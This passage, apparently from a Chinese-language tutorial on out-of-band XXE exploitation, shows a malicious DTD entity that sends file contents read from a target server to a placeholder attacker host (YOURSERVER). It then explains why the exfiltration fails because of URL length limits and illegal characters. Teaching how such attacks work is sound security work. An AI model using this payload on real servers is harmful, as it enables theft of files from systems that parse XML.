<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://YOURSERVER/p=%data;'>">
%all;
复制代码
启动web服务,让目标服务器来请求我们的ff.dtd文件
然而这里出现一个问题,如下图,服务器响应“Illegal character in URL”,并且我们用于接收信息的监听端也未收到任何请求。
这是因为上述payload直接将数据拼接在URL后面,然而这里会出现两种情况:
1、目标服务器发起的是Get请求,我们都知道Get请求的URL长度是有限制的,一旦我们读取的内容过大就会出现请求异常。
2、在RFC 3986协议中指出,URI中只能包含下面的84个字符,其他字符需要URL编码,否则视为非法字符。